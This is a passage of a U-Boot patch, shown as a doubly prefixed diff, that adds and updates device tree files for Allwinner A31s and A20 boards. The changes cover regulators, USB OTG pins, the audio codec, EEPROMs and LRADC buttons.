-+	model = "Yones TopTech BS1078 v2 Tablet";
-+	compatible = "yones-toptech,bs1078-v2", "allwinner,sun6i-a31s";
-+
-+	aliases {
-+		serial0 = &uart0;
-+		i2c1 = &i2c1;
-+		i2c2 = &i2c2;
-+	};
-+
-+	chosen {
-+		stdout-path = "serial0:115200n8";
-+	};
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+};
-+
-+&ehci0 {
-+	status = "okay";
-+};
-+
-+&ehci1 {
-+	status = "okay";
-+};
-+
-+&ohci0 {
-+	status = "okay";
-+};
-+
-+&ohci1 {
-+	status = "okay";
-+};
-+
-+&pio {
-+	mmc0_cd_pin_bs1078v2: mmc0_cd_pin at 0 {
-+		allwinner,pins = "PA8";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_bs1078v2>;
-+	vmmc-supply = <&reg_vcc3v0>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 0 8 GPIO_ACTIVE_HIGH>; /* PA8 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&mmc0_pins_a {
-+	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+};
-+
-+&p2wi {
-+	status = "okay";
-+
-+	axp22x: pmic at 68 {
-+		compatible = "x-powers,axp221";
-+		reg = <0x68>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+#include "axp22x.dtsi"
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_dc1sw {
-+	regulator-name = "vcc-lcd-usb2";
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+};
-+
-+&reg_dc5ldo {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-gpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc4 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <700000>;
-+	regulator-max-microvolt = <1320000>;
-+	regulator-name = "vdd-sys-dll";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+&reg_dldo1 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-wifi";
-+};
-+
-+/* Voltage source for I2C pullup resistors for I2C Bus 0 */
-+&reg_dldo3 {
-+	regulator-min-microvolt = <2800000>;
-+	regulator-max-microvolt = <2800000>;
-+	regulator-name = "vddio-csi";
-+};
-+
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	usb1_vbus-supply = <&reg_dldo1>;
-+	usb2_vbus-supply = <&reg_dc1sw>;
-+	status = "okay";
-+};
---- a/arch/arm/dts/sun7i-a20-bananapi.dts
-+++ b/arch/arm/dts/sun7i-a20-bananapi.dts
-@@ -92,6 +92,24 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+	operating-points = <
-+		/* kHz	  uV */
-+		960000	1400000
-+		912000	1400000
-+		864000	1350000
-+		720000	1250000
-+		528000	1150000
-+		312000	1100000
-+		144000	1050000
-+		>;
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -119,13 +137,9 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupt-parent = <&nmi_intc>;
- 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
--
--		interrupt-controller;
--		#interrupt-cells = <1>;
- 	};
- };
- 
-@@ -159,7 +173,18 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	mmc0_cd_pin_bananapi: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PH10";
- 		allwinner,function = "gpio_in";
-@@ -182,6 +207,37 @@
- 	};
- };
- 
-+#include "axp209.dtsi"
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -216,7 +272,21 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
-+&usb_power_supply {
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_power-supply = <&usb_power_supply>;
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-cubieboard2.dts
-+++ b/arch/arm/dts/sun7i-a20-cubieboard2.dts
-@@ -84,6 +84,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
-@@ -150,6 +154,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	led_pins_cubieboard2: led_pins at 0 {
- 		allwinner,pins = "PH20", "PH21";
-@@ -157,12 +165,24 @@
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
- };
- 
- &reg_ahci_5v {
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- #include "axp209.dtsi"
- 
- &reg_dcdc2 {
-@@ -205,6 +225,9 @@
- };
- 
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-cubietruck.dts
-+++ b/arch/arm/dts/sun7i-a20-cubietruck.dts
-@@ -101,6 +101,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
---- /dev/null
-+++ b/arch/arm/dts/sun7i-a20-icnova-swac.dts
-@@ -0,0 +1,169 @@
-+/*
-+ * Copyright 2015 Stefan Roese <sr at denx.de>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun7i-a20.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/interrupt-controller/irq.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
-+
-+/ {
-+	model = "ICnova-A20 SWAC";
-+	compatible = "swac,icnova-a20-swac", "incircuit,icnova-a20", "allwinner,sun7i-a20";
-+
-+	aliases {
-+		serial0 = &uart0;
-+	};
-+
-+	chosen {
-+		stdout-path = "serial0:115200n8";
-+	};
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
-+
-+&ehci0 {
-+	status = "okay";
-+};
-+
-+&ehci1 {
-+	status = "okay";
-+};
-+
-+&gmac {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&gmac_pins_mii_a>;
-+	phy = <&phy1>;
-+	phy-mode = "mii";
-+	status = "okay";
-+
-+	phy1: ethernet-phy at 1 {
-+		reg = <1>;
-+	};
-+};
-+
-+&i2c0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "okay";
-+
-+	axp209: pmic at 34 {
-+		reg = <0x34>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
-+	vmmc-supply = <&reg_vcc3v3>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 8 5 GPIO_ACTIVE_HIGH>; /* PI5 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&ohci0 {
-+	status = "okay";
-+};
-+
-+&ohci1 {
-+	status = "okay";
-+};
-+
-+#include "axp209.dtsi"
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_usb1_vbus {
-+	status = "okay";
-+};
-+
-+&reg_usb2_vbus {
-+	status = "okay";
-+};
-+
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	usb1_vbus-supply = <&reg_usb1_vbus>;
-+	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	status = "okay";
-+};
---- /dev/null
-+++ b/arch/arm/dts/sun7i-a20-itead-ibox.dts
-@@ -0,0 +1,125 @@
-+/*
-+ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun7i-a20.dtsi"
-+#include "sunxi-itead-core-common.dtsi"
-+
-+/ {
-+	model = "Itead Ibox A20";
-+	compatible = "itead,itead-ibox-a20", "allwinner,sun7i-a20";
-+
-+	leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&led_pins_itead_core>;
-+
-+		green {
-+			label = "itead_core:green:usr";
-+			gpios = <&pio 7 20 GPIO_ACTIVE_HIGH>;
-+			default-state = "on";
-+		};
-+
-+		blue {
-+			label = "itead_core:blue:usr";
-+			gpios = <&pio 7 21 GPIO_ACTIVE_HIGH>;
-+			default-state = "on";
-+		};
-+	};
-+};
-+
-+&ahci {
-+	target-supply = <&reg_ahci_5v>;
-+	status = "okay";
-+};
-+
-+&codec {
-+	status = "okay";
-+};
-+
-+&gmac {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&gmac_pins_mii_a>;
-+	phy = <&phy1>;
-+	phy-mode = "mii";
-+	status = "okay";
-+
-+	phy1: ethernet-phy at 1 {
-+		reg = <1>;
-+	};
-+};
-+
-+&i2c0 {
-+	axp209: pmic at 34 {
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+&ir0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&ir0_rx_pins_a>;
-+	status = "okay";
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
-+	vmmc-supply = <&reg_vcc3v3>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>; /* PH1 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&pio {
-+	led_pins_itead_core: led_pins at 0 {
-+		allwinner,pins = "PH20","PH21";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&reg_ahci_5v {
-+	status = "okay";
-+};
---- a/arch/arm/dts/sun7i-a20-lamobo-r1.dts
-+++ b/arch/arm/dts/sun7i-a20-lamobo-r1.dts
-@@ -97,16 +97,6 @@
- 
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
--	operating-points = <
--		/* kHz	  uV */
--		960000	1400000
--		912000	1400000
--		864000	1350000
--		720000	1250000
--		528000	1150000
--		312000	1100000
--		144000	1050000
--		>;
- };
- 
- &ehci0 {
---- a/arch/arm/dts/sun7i-a20-mk808c.dts
-+++ b/arch/arm/dts/sun7i-a20-mk808c.dts
-@@ -53,6 +53,7 @@
- 
- #include <dt-bindings/gpio/gpio.h>
- #include <dt-bindings/interrupt-controller/irq.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
- 
- / {
- 	model = "mk808c";
-@@ -68,6 +69,10 @@
- 	};
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -121,6 +126,30 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
-+&pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
-+		allwinner,pins = "PH5";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -141,7 +170,17 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
-+	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-olimex-som-evb.dts
-+++ b/arch/arm/dts/sun7i-a20-olimex-som-evb.dts
-@@ -1,5 +1,6 @@
- /*
-  * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
-+ * Copyright 2015 - Karsten Merker <merker at debian.org>
-  *
-  * This file is dual-licensed: you can use it either under the terms
-  * of the GPL or the X11 license, at your option. Note that this dual
-@@ -45,6 +46,7 @@
- #include "sunxi-common-regulators.dtsi"
- 
- #include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
- #include <dt-bindings/interrupt-controller/irq.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
-@@ -71,14 +73,6 @@
- 			default-state = "on";
- 		};
- 	};
--
--	reg_axp_ipsout: axp_ipsout {
--		compatible = "regulator-fixed";
--		regulator-name = "axp-ipsout";
--		regulator-min-microvolt = <5000000>;
--		regulator-max-microvolt = <5000000>;
--		regulator-always-on;
--	};
- };
- 
- &ahci {
-@@ -94,6 +88,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &gmac {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&gmac_pins_rgmii_a>;
-@@ -118,10 +116,58 @@
- 	};
- };
- 
--&i2c1 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&i2c1_pins_a>;
-+&lradc {
-+	vref-supply = <&reg_vcc3v0>;
- 	status = "okay";
-+
-+	button at 190 {
-+		label = "Volume Up";
-+		linux,code = <KEY_VOLUMEUP>;
-+		channel = <0>;
-+		voltage = <190000>;
-+	};
-+
-+	button at 390 {
-+		label = "Volume Down";
-+		linux,code = <KEY_VOLUMEDOWN>;
-+		channel = <0>;
-+		voltage = <390000>;
-+	};
-+
-+	button at 600 {
-+		label = "Menu";
-+		linux,code = <KEY_MENU>;
-+		channel = <0>;
-+		voltage = <600000>;
-+	};
-+
-+	button at 800 {
-+		label = "Search";
-+		linux,code = <KEY_SEARCH>;
-+		channel = <0>;
-+		voltage = <800000>;
-+	};
-+
-+	button at 980 {
-+		label = "Home";
-+		linux,code = <KEY_HOMEPAGE>;
-+		channel = <0>;
-+		voltage = <980000>;
-+	};
-+
-+	button at 1180 {
-+		label = "Esc";
-+		linux,code = <KEY_ESC>;
-+		channel = <0>;
-+		voltage = <1180000>;
-+	};
-+
-+	button at 1400 {
-+		label = "Enter";
-+		linux,code = <KEY_ENTER>;
-+		channel = <0>;
-+		voltage = <1400000>;
-+	};
- };
- 
- &mmc0 {
-@@ -134,6 +180,16 @@
- 	status = "okay";
- };
- 
-+&mmc3 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc3_pins_a>, <&mmc3_cd_pin_olimex_som_evb>;
-+	vmmc-supply = <&reg_vcc3v3>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 7 0 GPIO_ACTIVE_HIGH>; /* PH0 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
- &ohci0 {
- 	status = "okay";
- };
-@@ -161,15 +217,22 @@
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
- 
-+	mmc3_cd_pin_olimex_som_evb: mmc3_cd_pin at 0 {
-+		allwinner,pins = "PH0";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
--		allwinner,pins = "PH04";
-+		allwinner,pins = "PH4";
- 		allwinner,function = "gpio_in";
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
- 
- 	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
--		allwinner,pins = "PH05";
-+		allwinner,pins = "PH5";
- 		allwinner,function = "gpio_in";
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-@@ -187,7 +250,7 @@
- &reg_dcdc2 {
- 	regulator-always-on;
- 	regulator-min-microvolt = <1000000>;
--	regulator-max-microvolt = <1425000>;
-+	regulator-max-microvolt = <1400000>;
- 	regulator-name = "vdd-cpu";
- };
- 
-@@ -235,8 +298,8 @@
- &usbphy {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
--	usb0_id_det-gpios = <&pio 7 04 GPIO_ACTIVE_HIGH>; /* PH04 */
--	usb0_vbus_det-gpios = <&pio 7 05 GPIO_ACTIVE_HIGH>; /* PH05 */
-+	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH04 */
-+	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH05 */
- 	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
---- a/arch/arm/dts/sun7i-a20-olinuxino-lime.dts
-+++ b/arch/arm/dts/sun7i-a20-olinuxino-lime.dts
-@@ -117,6 +117,18 @@
- 	};
- };
- 
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+
-+	eeprom: eeprom at 50 {
-+		compatible = "atmel,24c16";
-+		reg = <0x50>;
-+		pagesize = <16>;
-+	};
-+};
-+
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
---- a/arch/arm/dts/sun7i-a20-olinuxino-lime2.dts
-+++ b/arch/arm/dts/sun7i-a20-olinuxino-lime2.dts
-@@ -170,6 +170,12 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
- 	status = "okay";
-+
-+	eeprom: eeprom at 50 {
-+		compatible = "atmel,24c16";
-+		reg = <0x50>;
-+		pagesize = <16>;
-+	};
- };
- 
- &mmc0 {
-@@ -190,6 +196,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	ahci_pwr_pin_olinuxinolime: ahci_pwr_pin at 1 {
- 		allwinner,pins = "PC3";
-@@ -204,6 +214,27 @@
- 		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
-+	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
-+		allwinner,pins = "PH5";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_DOWN>;
-+	};
-+
-+	usb0_vbus_pin_lime2: usb0_vbus_pin at 0 {
-+		allwinner,pins = "PC17";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
- };
- 
- &reg_ahci_5v {
-@@ -212,6 +243,12 @@
- 	status = "okay";
- };
- 
-+&reg_usb0_vbus {
-+	pinctrl-0 = <&usb0_vbus_pin_lime2>;
-+	gpio = <&pio 2 17 GPIO_ACTIVE_HIGH>;
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -226,7 +263,17 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_det-gpio = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-olinuxino-micro.dts
-+++ b/arch/arm/dts/sun7i-a20-olinuxino-micro.dts
-@@ -125,6 +125,12 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
- 	status = "okay";
-+
-+	eeprom: eeprom at 50 {
-+		compatible = "atmel,24c16";
-+		reg = <0x50>;
-+		pagesize = <16>;
-+	};
- };
- 
- &i2c2 {
---- a/arch/arm/dts/sun7i-a20-orangepi-mini.dts
-+++ b/arch/arm/dts/sun7i-a20-orangepi-mini.dts
-@@ -95,6 +95,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -156,7 +160,18 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
